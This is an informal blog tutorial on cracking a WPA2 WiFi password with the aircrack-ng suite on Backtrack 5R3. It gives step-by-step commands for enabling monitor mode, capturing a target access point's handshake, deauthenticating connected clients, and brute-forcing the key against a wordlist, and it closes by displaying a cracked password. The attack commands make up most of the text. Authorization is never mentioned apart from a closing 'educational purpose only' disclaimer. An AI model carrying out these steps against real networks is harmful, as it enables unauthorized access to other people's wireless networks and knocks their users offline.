Hacking Wifi WPA2 Backtrack 5R3

Hello good night everybody,now i’m back to share how to Hacking wifi WPA2 .. you just need Linux for penetration testing .. detail tools needed are

• airmon-ng
• airodump-ng
• aireplay-ng
• aircrack-ng
• The Great Passwordlist !

yea i’m use Backtrack 5R3 , thats tools was added

now i will share Step by step cracking wifi checkthis out
open your terminal and do it 

airmon-ng start wlan0

can you see monitor mode enable on (mon0) was active , next step

airodump-ng mon0

yeaaa choose your target Accesspoint/ESSID ,my target is r00tk17 ,next step

after you choose target , you just Ctrl + C for stop airodump-ng and lets see the picture on the text
choose your target BSSID , CH (channel),ok look

airodump-ng -c 1 -w xsanWPA2 --bssid 84:A8:E4:AF:66:5F --ivs mon0

note :

• -c  = channel
• -w = same as –write
• –bssid = your target BSSID
• –ivs = is captures files with extention .ivs
• mon0 = your interface

next step

In this step , we need WPA Handshake , yea still empty .. how to get WPA Handshake?? we need kick/Deauth another client .. look at next image

aireplay-ng -0 10 -e r00tk17 mon0

note :

• -0 =  deauthenticate 1 or all stations
• -e = the target AccessPoint
• mon0 = our interfaces
• so if i choose -0 10 > i was kick / deauth 10 client on network

Next Step , if the client was kick.. he will be connect again and we get WPA Handshake like this image

What next if we get WPA handshake?? run your aircrack-ng like this image

aircrack-ng -w /pentest/password/wordlist/darckc0de.lst xsanWPA2-01.ivs

Note :

• -w = your posision passowrdlist
• file .ivs is file was you made in on step airodump-ng -c 1 -w xsanWPA2 –bssid 84:A8:E4:AF:66:5F –ivs mon0
• xsanWPA2 automatic to be xsanWPA2-01.ivs

Running Aircrack-ng

binggo i got the password wifi , “nagabacktrack2013″ for crack this wifi you need great passwordlist , explore your mind and remember > This tutorial JUST FOR EDUCATIONAL PURPOSE ONLY !!